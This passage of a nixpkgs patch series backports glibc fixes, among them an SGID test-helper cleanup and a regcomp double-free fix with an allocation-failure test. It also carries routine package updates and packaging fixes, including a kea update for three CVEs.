++      struct group *result = NULL;
++      int status = fgetgrent_r (fp, &grp, buf.data, buf.length, &result);
++      if (status == 0 && result != NULL)
++	{
++	  if (strcmp (result->gr_name, name) == 0)
++	    {
++	      *target = result->gr_gid;
++	      ok = true;
++	      break;
++	    }
++	}
++      else if (errno != ERANGE)
++	break;
++      else if (!scratch_buffer_grow (&buf))
++	break;
++    }
++  scratch_buffer_free (&buf);
++  fclose (fp);
++  return ok;
++}
++
+ int
+ support_capture_subprogram_self_sgid (const char *child_id)
+ {
+-  gid_t target = 0;
+   const int count = 64;
+   gid_t groups[count];
+ 
+@@ -225,6 +267,7 @@ support_capture_subprogram_self_sgid (const char *child_id)
+ 		     (intmax_t) getuid ());
+ 
+   gid_t current = getgid ();
++  gid_t target = current;
+   for (int i = 0; i < ret; ++i)
+     {
+       if (groups[i] != current)
+@@ -234,9 +277,16 @@ support_capture_subprogram_self_sgid (const char *child_id)
+ 	}
+     }
+ 
+-  if (target == 0)
+-    FAIL_UNSUPPORTED("Could not find a suitable GID for user %jd\n",
+-		     (intmax_t) getuid ());
++  if (target == current)
++    {
++      /* If running as root, try to find a harmless group for SGID.  */
++      if (getuid () != 0
++	  || (!find_sgid_group (&target, "nogroup")
++	      && !find_sgid_group (&target, "bin")
++	      && !find_sgid_group (&target, "daemon")))
++	FAIL_UNSUPPORTED("Could not find a suitable GID for user %jd\n",
++			 (intmax_t) getuid ());
++    }
+ 
+   return copy_and_spawn_sgid (child_id, target);
+ }
+
+commit dbc83657e290bdad3245259be80fb84cbe10304c
+Author: Florian Weimer <fweimer@redhat.com>
+Date:   Thu May 22 14:36:37 2025 +0200
+
+    Fix error reporting (false negatives) in SGID tests
+    
+    And simplify the interface of support_capture_subprogram_self_sgid.
+    
+    Use the existing framework for temporary directories (now with
+    mode 0700) and directory/file deletion.  Handle all execution
+    errors within support_capture_subprogram_self_sgid.  In particular,
+    this includes test failures because the invoked program did not
+    exit with exit status zero.  Existing tests that expect exit
+    status 42 are adjusted to use zero instead.
+    
+    In addition, fix callers not to call exit (0) with test failures
+    pending (which may mask them, especially when running with --direct).
+    
+    Fixes commit 35fc356fa3b4f485bd3ba3114c9f774e5df7d3c2
+    ("elf: Fix subprocess status handling for tst-dlopen-sgid (bug 32987)").
+    
+    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
+    (cherry picked from commit 3a3fb2ed83f79100c116c824454095ecfb335ad7)
+
+diff --git a/elf/tst-dlopen-sgid.c b/elf/tst-dlopen-sgid.c
+index 5688b79f2e..8aec52e19f 100644
+--- a/elf/tst-dlopen-sgid.c
++++ b/elf/tst-dlopen-sgid.c
+@@ -70,13 +70,7 @@ do_test (void)
+ 
+   free (libdir);
+ 
+-  int status = support_capture_subprogram_self_sgid (magic_argument);
+-
+-  if (WEXITSTATUS (status) == EXIT_UNSUPPORTED)
+-    return EXIT_UNSUPPORTED;
+-
+-  if (!WIFEXITED (status))
+-    FAIL_EXIT1 ("Unexpected exit status %d from child process\n", status);
++  support_capture_subprogram_self_sgid (magic_argument);
+ 
+   return 0;
+ }
+diff --git a/elf/tst-env-setuid-tunables.c b/elf/tst-env-setuid-tunables.c
+index a47219047f..233eec7631 100644
+--- a/elf/tst-env-setuid-tunables.c
++++ b/elf/tst-env-setuid-tunables.c
+@@ -105,10 +105,7 @@ do_test (int argc, char **argv)
+ 
+       if (ret != 0)
+ 	exit (1);
+-
+-      /* Special return code to make sure that the child executed all the way
+-	 through.  */
+-      exit (42);
++      return 0;
+     }
+   else
+     {
+@@ -127,18 +124,7 @@ do_test (int argc, char **argv)
+ 	      continue;
+ 	    }
+ 
+-	  int status = support_capture_subprogram_self_sgid (buf);
+-
+-	  /* Bail out early if unsupported.  */
+-	  if (WEXITSTATUS (status) == EXIT_UNSUPPORTED)
+-	    return EXIT_UNSUPPORTED;
+-
+-	  if (WEXITSTATUS (status) != 42)
+-	    {
+-	      printf ("    [%d] child failed with status %d\n", i,
+-		      WEXITSTATUS (status));
+-	      support_record_failure ();
+-	    }
++	  support_capture_subprogram_self_sgid (buf);
+ 	}
+       return 0;
+     }
+diff --git a/elf/tst-env-setuid.c b/elf/tst-env-setuid.c
+index 59f2ffeb88..ee3f058468 100644
+--- a/elf/tst-env-setuid.c
++++ b/elf/tst-env-setuid.c
+@@ -147,10 +147,7 @@ do_test (int argc, char **argv)
+ 
+       if (ret != 0)
+ 	exit (1);
+-
+-      /* Special return code to make sure that the child executed all the way
+-	 through.  */
+-      exit (42);
++      return 0;
+     }
+   else
+     {
+@@ -174,17 +171,7 @@ do_test (int argc, char **argv)
+ 	free (profilepath);
+       }
+ 
+-      int status = support_capture_subprogram_self_sgid (SETGID_CHILD);
+-
+-      if (WEXITSTATUS (status) == EXIT_UNSUPPORTED)
+-	exit (EXIT_UNSUPPORTED);
+-
+-      if (WEXITSTATUS (status) != 42)
+-	{
+-	  printf ("    child failed with status %d\n",
+-		  WEXITSTATUS (status));
+-	  support_record_failure ();
+-	}
++      support_capture_subprogram_self_sgid (SETGID_CHILD);
+ 
+       return 0;
+     }
+diff --git a/stdlib/tst-secure-getenv.c b/stdlib/tst-secure-getenv.c
+index cc26ed6d15..cefee58d46 100644
+--- a/stdlib/tst-secure-getenv.c
++++ b/stdlib/tst-secure-getenv.c
+@@ -57,13 +57,7 @@ do_test (void)
+       exit (1);
+     }
+ 
+-  int status = support_capture_subprogram_self_sgid (MAGIC_ARGUMENT);
+-
+-  if (WEXITSTATUS (status) == EXIT_UNSUPPORTED)
+-    return EXIT_UNSUPPORTED;
+-
+-  if (!WIFEXITED (status))
+-    FAIL_EXIT1 ("Unexpected exit status %d from child process\n", status);
++  support_capture_subprogram_self_sgid (MAGIC_ARGUMENT);
+ 
+   return 0;
+ }
+@@ -82,6 +76,7 @@ alternative_main (int argc, char **argv)
+       if (secure_getenv ("PATH") != NULL)
+ 	FAIL_EXIT (4, "PATH variable not filtered out\n");
+ 
++      support_record_failure_barrier ();
+       exit (EXIT_SUCCESS);
+     }
+ }
+diff --git a/support/capture_subprocess.h b/support/capture_subprocess.h
+index 5406d9f6c0..57bb941e7d 100644
+--- a/support/capture_subprocess.h
++++ b/support/capture_subprocess.h
+@@ -42,10 +42,12 @@ struct support_capture_subprocess support_capture_subprocess
+ struct support_capture_subprocess support_capture_subprogram
+   (const char *file, char *const argv[], char *const envp[]);
+ 
+-/* Copy the running program into a setgid binary and run it with CHILD_ID
+-   argument.  If execution is successful, return the exit status of the child
+-   program, otherwise return a non-zero failure exit code.  */
+-int support_capture_subprogram_self_sgid (const char *child_id);
++/* Copy the running program into a setgid binary and run it with
++   CHILD_ID argument.  If the program exits with a non-zero status,
++   exit with that exit status (or status 1 if the program did not exit
++   normally).  If the test cannot be performed, exit with
++   EXIT_UNSUPPORTED.  */
++void support_capture_subprogram_self_sgid (const char *child_id);
+ 
+ /* Deallocate the subprocess data captured by
+    support_capture_subprocess.  */
+diff --git a/support/support_capture_subprocess.c b/support/support_capture_subprocess.c
+index 1cb344eb04..cbc6951064 100644
+--- a/support/support_capture_subprocess.c
++++ b/support/support_capture_subprocess.c
+@@ -31,6 +31,7 @@
+ #include <support/xsocket.h>
+ #include <support/xspawn.h>
+ #include <support/support.h>
++#include <support/temp_file.h>
+ #include <support/test-driver.h>
+ 
+ static void
+@@ -113,105 +114,44 @@ support_capture_subprogram (const char *file, char *const argv[],
+ /* Copies the executable into a restricted directory, so that we can
+    safely make it SGID with the TARGET group ID.  Then runs the
+    executable.  */
+-static int
++static void
+ copy_and_spawn_sgid (const char *child_id, gid_t gid)
+ {
+-  char *dirname = xasprintf ("%s/tst-tunables-setuid.%jd",
+-			     test_dir, (intmax_t) getpid ());
++  char *dirname = support_create_temp_directory ("tst-glibc-sgid-");
+   char *execname = xasprintf ("%s/bin", dirname);
+-  int infd = -1;
+-  int outfd = -1;
+-  int ret = 1, status = 1;
+-
+-  TEST_VERIFY (mkdir (dirname, 0700) == 0);
+-  if (support_record_failure_is_failed ())
+-    goto err;
++  add_temp_file (execname);
+ 
+-  infd = open ("/proc/self/exe", O_RDONLY);
+-  if (infd < 0)
++  if (access ("/proc/self/exe", R_OK) != 0)
+     FAIL_UNSUPPORTED ("unsupported: Cannot read binary from procfs\n");
+ 
+-  outfd = open (execname, O_WRONLY | O_CREAT | O_EXCL, 0700);
+-  TEST_VERIFY (outfd >= 0);
+-  if (support_record_failure_is_failed ())
+-    goto err;
+-
+-  char buf[4096];
+-  for (;;)
+-    {
+-      ssize_t rdcount = read (infd, buf, sizeof (buf));
+-      TEST_VERIFY (rdcount >= 0);
+-      if (support_record_failure_is_failed ())
+-	goto err;
+-      if (rdcount == 0)
+-	break;
+-      char *p = buf;
+-      char *end = buf + rdcount;
+-      while (p != end)
+-	{
+-	  ssize_t wrcount = write (outfd, buf, end - p);
+-	  if (wrcount == 0)
+-	    errno = ENOSPC;
+-	  TEST_VERIFY (wrcount > 0);
+-	  if (support_record_failure_is_failed ())
+-	    goto err;
+-	  p += wrcount;
+-	}
+-    }
++  support_copy_file ("/proc/self/exe", execname);
+ 
+-  bool chowned = false;
+-  TEST_VERIFY ((chowned = fchown (outfd, getuid (), gid) == 0)
+-	       || errno == EPERM);
+-  if (support_record_failure_is_failed ())
+-    goto err;
+-  else if (!chowned)
+-    {
+-      ret = 77;
+-      goto err;
+-    }
++  if (chown (execname, getuid (), gid) != 0)
++    FAIL_UNSUPPORTED ("cannot change group of \"%s\" to %jd: %m",
++		      execname, (intmax_t) gid);
+ 
+-  TEST_VERIFY (fchmod (outfd, 02750) == 0);
+-  if (support_record_failure_is_failed ())
+-    goto err;
+-  TEST_VERIFY (close (outfd) == 0);
+-  if (support_record_failure_is_failed ())
+-    goto err;
+-  TEST_VERIFY (close (infd) == 0);
+-  if (support_record_failure_is_failed ())
+-    goto err;
++  if (chmod (execname, 02750) != 0)
++    FAIL_UNSUPPORTED ("cannot make \"%s\" SGID: %m ", execname);
+ 
+   /* We have the binary, now spawn the subprocess.  Avoid using
+      support_subprogram because we only want the program exit status, not the
+      contents.  */
+-  ret = 0;
+-  infd = outfd = -1;
+ 
+   char * const args[] = {execname, (char *) child_id, NULL};
++  int status = support_subprogram_wait (args[0], args);
+ 
+-  status = support_subprogram_wait (args[0], args);
++  free (execname);
++  free (dirname);
+ 
+-err:
+-  if (outfd >= 0)
+-    close (outfd);
+-  if (infd >= 0)
+-    close (infd);
+-  if (execname != NULL)
+-    {
+-      unlink (execname);
+-      free (execname);
+-    }
+-  if (dirname != NULL)
++  if (WIFEXITED (status))
+     {
+-      rmdir (dirname);
+-      free (dirname);
++      if (WEXITSTATUS (status) == 0)
++	return;
++      else
++	exit (WEXITSTATUS (status));
+     }
+-
+-  if (ret == 77)
+-    FAIL_UNSUPPORTED ("Failed to make sgid executable for test\n");
+-  if (ret != 0)
+-    FAIL_EXIT1 ("Failed to make sgid executable for test\n");
+-
+-  return status;
++  else
++    FAIL_EXIT1 ("subprogram failed with status %d", status);
+ }
+ 
+ /* Returns true if a group with NAME has been found, and writes its
+@@ -253,7 +193,7 @@ find_sgid_group (gid_t *target, const char *name)
+   return ok;
+ }
+ 
+-int
++void
+ support_capture_subprogram_self_sgid (const char *child_id)
+ {
+   const int count = 64;
+@@ -288,7 +228,7 @@ support_capture_subprogram_self_sgid (const char *child_id)
+ 			 (intmax_t) getuid ());
+     }
+ 
+-  return copy_and_spawn_sgid (child_id, target);
++  copy_and_spawn_sgid (child_id, target);
+ }
+ 
+ void
+
+commit 2eb180377b96771b8368b0915669c8c7b267e739
+Author: Florian Weimer <fweimer@redhat.com>
+Date:   Mon Jul 21 21:43:49 2025 +0200
+
+    posix: Fix double-free after allocation failure in regcomp (bug 33185)
+    
+    If a memory allocation failure occurs during bracket expression
+    parsing in regcomp, a double-free error may result.
+    
+    Reported-by: Anastasia Belova <abelova@astralinux.ru>
+    Co-authored-by: Paul Eggert <eggert@cs.ucla.edu>
+    Reviewed-by: Andreas K. Huettel <dilfridge@gentoo.org>
+    (cherry picked from commit 7ea06e994093fa0bcca0d0ee2c1db271d8d7885d)
+
+diff --git a/NEWS b/NEWS
+index 4b290ad4bf..253b07ae99 100644
+--- a/NEWS
++++ b/NEWS
+@@ -24,6 +24,7 @@ The following bugs are resolved with this release:
+   [32470] x86: Avoid integer truncation with large cache sizes
+   [32810] Crash on x86-64 if XSAVEC disable via tunable
+   [32987] elf: Fix subprocess status handling for tst-dlopen-sgid
++  [33185] Fix double-free after allocation failure in regcomp
+ 
+ Version 2.40
+ 
+diff --git a/posix/Makefile b/posix/Makefile
+index 2c598cd20a..830278a423 100644
+--- a/posix/Makefile
++++ b/posix/Makefile
+@@ -303,6 +303,7 @@ tests := \
+   tst-posix_spawn-setsid \
+   tst-preadwrite \
+   tst-preadwrite64 \
++  tst-regcomp-bracket-free \
+   tst-regcomp-truncated \
+   tst-regex \
+   tst-regex2 \
+diff --git a/posix/regcomp.c b/posix/regcomp.c
+index 5380d3c7b9..6595bb3c0d 100644
+--- a/posix/regcomp.c
++++ b/posix/regcomp.c
+@@ -3384,6 +3384,7 @@ parse_bracket_exp (re_string_t *regexp, re_dfa_t *dfa, re_token_t *token,
+     {
+ #ifdef RE_ENABLE_I18N
+       free_charset (mbcset);
++      mbcset = NULL;
+ #endif
+       /* Build a tree for simple bracket.  */
+       br_token.type = SIMPLE_BRACKET;
+@@ -3399,7 +3400,8 @@ parse_bracket_exp (re_string_t *regexp, re_dfa_t *dfa, re_token_t *token,
+  parse_bracket_exp_free_return:
+   re_free (sbcset);
+ #ifdef RE_ENABLE_I18N
+-  free_charset (mbcset);
++  if (__glibc_likely (mbcset != NULL))
++    free_charset (mbcset);
+ #endif /* RE_ENABLE_I18N */
+   return NULL;
+ }
+diff --git a/posix/tst-regcomp-bracket-free.c b/posix/tst-regcomp-bracket-free.c
+new file mode 100644
+index 0000000000..3c091d8c44
+--- /dev/null
++++ b/posix/tst-regcomp-bracket-free.c
+@@ -0,0 +1,176 @@
++/* Test regcomp bracket parsing with injected allocation failures (bug 33185).
++   Copyright (C) 2025 Free Software Foundation, Inc.
++   This file is part of the GNU C Library.
++
++   The GNU C Library is free software; you can redistribute it and/or
++   modify it under the terms of the GNU Lesser General Public
++   License as published by the Free Software Foundation; either
++   version 2.1 of the License, or (at your option) any later version.
++
++   The GNU C Library is distributed in the hope that it will be useful,
++   but WITHOUT ANY WARRANTY; without even the implied warranty of
++   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
++   Lesser General Public License for more details.
++
++   You should have received a copy of the GNU Lesser General Public
++   License along with the GNU C Library; if not, see
++   <https://www.gnu.org/licenses/>.  */
++
++/* This test invokes regcomp multiple times, failing one memory
++   allocation in each call.  The function call should fail with
++   REG_ESPACE (or succeed if it can recover from the allocation
++   failure).  Previously, there was double-free bug.  */
++
++#include <errno.h>
++#include <regex.h>
++#include <stdio.h>
++#include <string.h>
++#include <support/check.h>
++#include <support/namespace.h>
++#include <support/support.h>
++
++/* Data structure allocated via MAP_SHARED, so that writes from the
++   subprocess are visible.  */
++struct shared_data
++{
++  /* Number of tracked allocations performed so far.  */
++  volatile unsigned int allocation_count;
++
++  /* If this number is reached, one allocation fails.  */
++  volatile unsigned int failing_allocation;
++
++  /* The subprocess stores the expected name here.  */
++  char name[100];
++};
++
++/* Allocation count in shared mapping.  */
++static struct shared_data *shared;
++
++/* Returns true if a failure should be injected for this allocation.  */
++static bool
++fail_this_allocation (void)
++{
++  if (shared != NULL)
++    {
++      unsigned int count = shared->allocation_count;
++      shared->allocation_count = count + 1;
++      return count == shared->failing_allocation;
++    }
++  else
++    return false;
++}
++
++/* Failure-injecting wrappers for allocation functions used by glibc.  */
++
++void *
++malloc (size_t size)
++{
++  if (fail_this_allocation ())
++    {
++      errno = ENOMEM;
++      return NULL;
++    }
++  extern __typeof (malloc) __libc_malloc;
++  return __libc_malloc (size);
++}
++
++void *
++calloc (size_t a, size_t b)
++{
++  if (fail_this_allocation ())
++    {
++      errno = ENOMEM;
++      return NULL;
++    }
++  extern __typeof (calloc) __libc_calloc;
++  return __libc_calloc (a, b);
++}
++
++void *
++realloc (void *ptr, size_t size)
++{
++  if (fail_this_allocation ())
++    {
++      errno = ENOMEM;
++      return NULL;
++    }
++  extern __typeof (realloc) __libc_realloc;
++  return __libc_realloc (ptr, size);
++}
++
++/* No-op subprocess to verify that support_isolate_in_subprocess does
++   not perform any heap allocations.  */
++static void
++no_op (void *ignored)
++{
++}
++
++/* Perform a regcomp call in a subprocess.  Used to count its
++   allocations.  */
++static void
++initialize (void *regexp1)
++{
++  const char *regexp = regexp1;
++
++  shared->allocation_count = 0;
++
++  regex_t reg;
++  TEST_COMPARE (regcomp (&reg, regexp, 0), 0);
++}
++
++/* Perform regcomp in a subprocess with fault injection.  */
++static void
++test_in_subprocess (void *regexp1)
++{
++  const char *regexp = regexp1;
++  unsigned int inject_at = shared->failing_allocation;
++
++  regex_t reg;
++  int ret = regcomp (&reg, regexp, 0);
++
++  if (ret != 0)
++    {
++      TEST_COMPARE (ret, REG_ESPACE);
++      printf ("info: allocation %u failure results in return value %d,"
++              " error %s (%d)\n",
++              inject_at, ret, strerrorname_np (errno), errno);
++    }
++}
++
++static int
++do_test (void)
++{
++  char regexp[] = "[:alpha:]";
++
++  shared = support_shared_allocate (sizeof (*shared));
++
++  /* Disable fault injection.  */
++  shared->failing_allocation = ~0U;
++
++  support_isolate_in_subprocess (no_op, NULL);
++  TEST_COMPARE (shared->allocation_count, 0);
++
++  support_isolate_in_subprocess (initialize, regexp);
++
++  /* The number of allocations in the successful case, plus some
++     slack.  Once the number of expected allocations is exceeded,
++     injecting further failures does not make a difference.  */
++  unsigned int maximum_allocation_count = shared->allocation_count;
++  printf ("info: successful call performs %u allocations\n",
++          maximum_allocation_count);
++  maximum_allocation_count += 10;
++
++  for (unsigned int inject_at = 0; inject_at <= maximum_allocation_count;
++       ++inject_at)
++    {
++      shared->allocation_count = 0;
++      shared->failing_allocation = inject_at;
++      support_isolate_in_subprocess (test_in_subprocess, regexp);
++    }
++
++  support_shared_free (shared);
++
++  return 0;
++}
++
++#include <support/test-driver.c>
diff --git a/pkgs/development/libraries/glibc/common.nix b/pkgs/development/libraries/glibc/common.nix
index e943ad8f4b97..76685fed8771 100644
--- a/pkgs/development/libraries/glibc/common.nix
+++ b/pkgs/development/libraries/glibc/common.nix
@@ -68,7 +68,7 @@ stdenv.mkDerivation (
       /*
         No tarballs for stable upstream branch, only https://sourceware.org/git/glibc.git and using git would complicate bootstrapping.
          $ git fetch --all -p && git checkout origin/release/2.40/master && git describe
-         glibc-2.40-66-g7d4b6bcae9
+         glibc-2.40-142-g2eb180377b
          $ git show --minimal --reverse glibc-2.40.. ':!ADVISORIES' > 2.40-master.patch
 
         To compare the archive contents zdiff can be used.

From da627fded43188c56e508fdd382af4b3b07fd0a1 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Fri, 25 Jul 2025 08:07:31 +0100
Subject: [PATCH 2885/4511] libopenmpt: 0.7.14 -> 0.7.15

Changes: https://lib.openmpt.org/libopenmpt/2025/07/19/security-updates-0.8.2-0.7.15-0.6.24-0.5.37-0.4.50/
---
 pkgs/by-name/li/libopenmpt/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libopenmpt/package.nix b/pkgs/by-name/li/libopenmpt/package.nix
index 41bb1e3821c9..ece34caf9960 100644
--- a/pkgs/by-name/li/libopenmpt/package.nix
+++ b/pkgs/by-name/li/libopenmpt/package.nix
@@ -17,7 +17,7 @@
 
 stdenv.mkDerivation rec {
   pname = "libopenmpt";
-  version = "0.7.14";
+  version = "0.7.15";
 
   outputs = [
     "out"
@@ -27,7 +27,7 @@ stdenv.mkDerivation rec {
 
   src = fetchurl {
     url = "https://lib.openmpt.org/files/libopenmpt/src/libopenmpt-${version}+release.autotools.tar.gz";
-    hash = "sha256-riGP7KwHSUeP6e23FZqzKkkEc2rRxaEQNXfRjmic09k=";
+    hash = "sha256-vAWNaegR2EDjNH/4Jf3yErhlrMkujdaQmfnR1CANjVw=";
   };
 
   enableParallelBuilding = true;

From ad2807007b3e2fe58f903d257c18788dc3f1c85b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Fri, 25 Jul 2025 12:34:44 +0200
Subject: [PATCH 2886/4511] systemd.disallowedReferences: avoid `null` values,
 really

I made a mistake and apparently I incorrectly tested
the commit 40df6d5813ed6ebb809a77416bbb1ddfbeedd846
Now with swapping these layers it evaluates again; easiest to try by
nix-build pkgs/top-level/release-cross.nix -A rpi.mpg123.aarch64-darwin --dry-run

(cherry picked from commit 059cdd0c790ab86dd62813644eb66c88f8f1723a)
---
 pkgs/os-specific/linux/systemd/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/systemd/default.nix b/pkgs/os-specific/linux/systemd/default.nix
index 2e0e9d6505cb..0f02ab7505e0 100644
--- a/pkgs/os-specific/linux/systemd/default.nix
+++ b/pkgs/os-specific/linux/systemd/default.nix
@@ -869,8 +869,8 @@ stdenv.mkDerivation (finalAttrs: {
     lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform)
       # 'or p' is for manually specified buildPackages as they dont have __spliced
       (
-        builtins.map (p: p.__spliced.buildHost or p) (
-          builtins.filter (p: p != null) finalAttrs.nativeBuildInputs
+        builtins.filter (p: p != null) (
+          builtins.map (p: p.__spliced.buildHost or p) finalAttrs.nativeBuildInputs
         )
       );
 

From e867ce876e6f80529ddf1a5dc54dcbd9d0513f6b Mon Sep 17 00:00:00 2001
From: Hendrik Sokolowski <hensoko@gssws.de>
Date: Wed, 23 Jul 2025 15:12:56 +0200
Subject: [PATCH 2887/4511] nextcloud-spreed-signaling: init at 2.0.3 (#392811)

(cherry picked from commit 52e7ef8d620830b7a6a53ef1b0dbfac0812f4b55)
---
 .../ne/nextcloud-spreed-signaling/package.nix | 37 +++++++++++++++++++
 1 file changed, 37 insertions(+)
 create mode 100644 pkgs/by-name/ne/nextcloud-spreed-signaling/package.nix

diff --git a/pkgs/by-name/ne/nextcloud-spreed-signaling/package.nix b/pkgs/by-name/ne/nextcloud-spreed-signaling/package.nix
new file mode 100644
index 000000000000..4f47573bf675
--- /dev/null
+++ b/pkgs/by-name/ne/nextcloud-spreed-signaling/package.nix
@@ -0,0 +1,37 @@
+{
+  lib,
+  buildGoModule,
+  fetchFromGitHub,
+  nix-update-script,
+}:
+
+buildGoModule (finalAttrs: {
+  pname = "nextcloud-spreed-signaling";
+  version = "2.0.3";
+
+  src = fetchFromGitHub {
+    owner = "strukturag";
+    repo = "nextcloud-spreed-signaling";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-JBYhmIXDpovkXM8oYO3B9n2bs+H0GjmuT4Dl3gEQjPo=";
+  };
+
+  vendorHash = "sha256-MGz0tj6QwDXYDtamgN6d5yfIFHToE+XF3HYVsFRxHhM=";
+
+  strictDeps = true;
+
+  passthru.updateScript = nix-update-script { };
+
+  meta = {
+    description = "Dedicated signaling backend for nextcloud talk";
+    homepage = "https://github.com/strukturag/nextcloud-spreed-signaling";
+    downloadPage = "https://github.com/strukturag/nextcloud-spreed-signaling/releases/tag/v${finalAttrs.version}";
+    changelog = "https://github.com/strukturag/nextcloud-spreed-signaling/releases/tag/v${finalAttrs.version}";
+    mainProgram = "server";
+    license = lib.licenses.agpl3Only;
+    maintainers = with lib.maintainers; [
+      hensoko
+    ];
+    platforms = [ "x86_64-linux" ];
+  };
+})

From 3f3d0e4fc25f30c107574a238b782821307cb1bc Mon Sep 17 00:00:00 2001
From: Bobby Rong <rjl931189261@126.com>
Date: Thu, 24 Jul 2025 20:38:28 +0800
Subject: [PATCH 2888/4511] gnome-notes: Use webkit2gtk-4.1

This already depends on libedataserver-1.2 which requires libsoup3.

(cherry picked from commit ca331e0330a769f63cd4bea1f8165562284c4c10)
---
 pkgs/by-name/gn/gnome-notes/package.nix | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gn/gnome-notes/package.nix b/pkgs/by-name/gn/gnome-notes/package.nix
index a67795c140bb..85a6238d34d1 100644
--- a/pkgs/by-name/gn/gnome-notes/package.nix
+++ b/pkgs/by-name/gn/gnome-notes/package.nix
@@ -19,7 +19,7 @@
   libuuid,
   curl,
   libhandy,
-  webkitgtk_4_0,
+  webkitgtk_4_1,
   gnome,
   adwaita-icon-theme,
   libxml2,
@@ -43,6 +43,13 @@ stdenv.mkDerivation rec {
       url = "https://gitlab.gnome.org/GNOME/gnome-notes/-/commit/994af76ce5144062d55d141129bf6bf5fab002ee.patch";
       hash = "sha256-z7dPOLZzaqvdqUIDy6+V3dKossRbG0EDjBu2oJCF6b4=";
     })
+
+    # build: Depend on webkit2gtk-4.1
+    # https://gitlab.gnome.org/GNOME/gnome-notes/-/merge_requests/200
+    (fetchpatch {
+      url = "https://gitlab.gnome.org/GNOME/gnome-notes/-/commit/0791507873c96d0463cd0c83108415541f854edd.patch";
+      hash = "sha256-TwCi9sDudeiOjrH2VevAynxvy/WTmwB2HrWqhviPg8o=";
+    })
   ];
 
   doCheck = true;
@@ -71,7 +78,7 @@ stdenv.mkDerivation rec {
     libuuid
     curl
     libhandy
-    webkitgtk_4_0
+    webkitgtk_4_1
     tinysparql
     gnome-online-accounts
     gsettings-desktop-schemas

From eea4d8d79f36ecfec5fe00b23a47e88f1bda9c99 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Thu, 24 Jul 2025 15:32:45 -0300
Subject: [PATCH 2889/4511] dotnetCorePackages.dotnet_10.sdk: remove
 crossgen2/ilc linker hack

(cherry picked from commit 3e3e482d0408f38eafecc395c18af769b48832cd)
---
 pkgs/development/compilers/dotnet/stage0.nix | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/stage0.nix b/pkgs/development/compilers/dotnet/stage0.nix
index e4eca4180c39..9e5cd658c0d3 100644
--- a/pkgs/development/compilers/dotnet/stage0.nix
+++ b/pkgs/development/compilers/dotnet/stage0.nix
@@ -92,12 +92,6 @@ let
             "false"
           ];
 
-        # https://github.com/dotnet/source-build/issues/4920
-        ${if stdenv.isLinux && lib.versionAtLeast old.version "10" then "postFixup" else null} = ''
-          find $out \( -name crossgen2 -or -name ilc \) -type f -print0 |
-            xargs -0 patchelf --add-needed libssl.so --add-rpath "${lib.makeLibraryPath [ openssl ]}"
-        '';
-
         passthru =
           old.passthru or { }
           // (

From 879f518a630e93449007039ea1604eb6cd837580 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Fri, 25 Jul 2025 15:19:41 +0200
Subject: [PATCH 2890/4511] mesa.disallowedRequisites: avoid `null` values

See e.g. 40df6d5

(cherry picked from commit 0170f90d6c3e56b98289f8956d1add375fcfb423)
---
 pkgs/development/libraries/mesa/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/libraries/mesa/default.nix b/pkgs/development/libraries/mesa/default.nix
index f691f2d3bf8c..ef7eaea5f418 100644
--- a/pkgs/development/libraries/mesa/default.nix
+++ b/pkgs/development/libraries/mesa/default.nix
@@ -341,9 +341,9 @@ stdenv.mkDerivation {
       (buildPackages.mesa.cross_tools or null)
     ];
 
-  disallowedRequisites = lib.optionals needNativeCLC [
-    (buildPackages.mesa.cross_tools or null)
-  ];
+  disallowedRequisites = lib.optional (
+    needNativeCLC && buildPackages.mesa ? cross_tools
+  ) buildPackages.mesa.cross_tools;
 
   doCheck = false;
 

From 268ecc7bb2818b266f5b1026ac24bfc6dd175674 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 28 May 2025 22:09:00 +0200
Subject: [PATCH 2891/4511] kea: 2.6.2 -> 2.6.3

https://downloads.isc.org/isc/kea/2.6.3/Kea-2.6.3-ReleaseNotes.txt

https://kb.isc.org/docs/cve-2025-32801
https://kb.isc.org/docs/cve-2025-32802
https://kb.isc.org/docs/cve-2025-32803

Fixes: CVE-2025-32801, CVE-2025-32802, CVE-2025-32803

(cherry picked from commit fde888519861e6b5e999b381ea8c47f53d2ac75e)
---
 nixos/modules/services/networking/kea.nix | 40 +++++++++++++----------
 pkgs/by-name/ke/kea/dont-create-var.patch | 24 +++++++++-----
 pkgs/by-name/ke/kea/package.nix           |  8 ++---
 3 files changed, 42 insertions(+), 30 deletions(-)

diff --git a/nixos/modules/services/networking/kea.nix b/nixos/modules/services/networking/kea.nix
index 2b142f61152d..9d19b9ec3d06 100644
--- a/nixos/modules/services/networking/kea.nix
+++ b/nixos/modules/services/networking/kea.nix
@@ -265,12 +265,24 @@ in
 
   config =
     let
+      commonEnvironment = {
+        KEA_CONTROL_SOCKET_DIR = "/run/kea";
+        KEA_LOCKFILE_DIR = "/run/kea";
+        KEA_PIDFILE_DIR = "/run/kea";
+      };
+
       commonServiceConfig = {
-        ExecReload = "${pkgs.coreutils}/bin/kill -HUP $MAINPID";
+        ExecReload = toString [
+          (lib.getExe' pkgs.coreutils "kill")
+          "-HUP"
+          "$MAINPID"
+        ];
         DynamicUser = true;
         User = "kea";
         ConfigurationDirectory = "kea";
+        Restart = "on-failure";
         RuntimeDirectory = "kea";
+        RuntimeDirectoryMode = "0750";
         RuntimeDirectoryPreserve = true;
         StateDirectory = "kea";
         UMask = "0077";
@@ -280,6 +292,12 @@ in
       lib.mkMerge [
         {
           environment.systemPackages = [ package ];
+
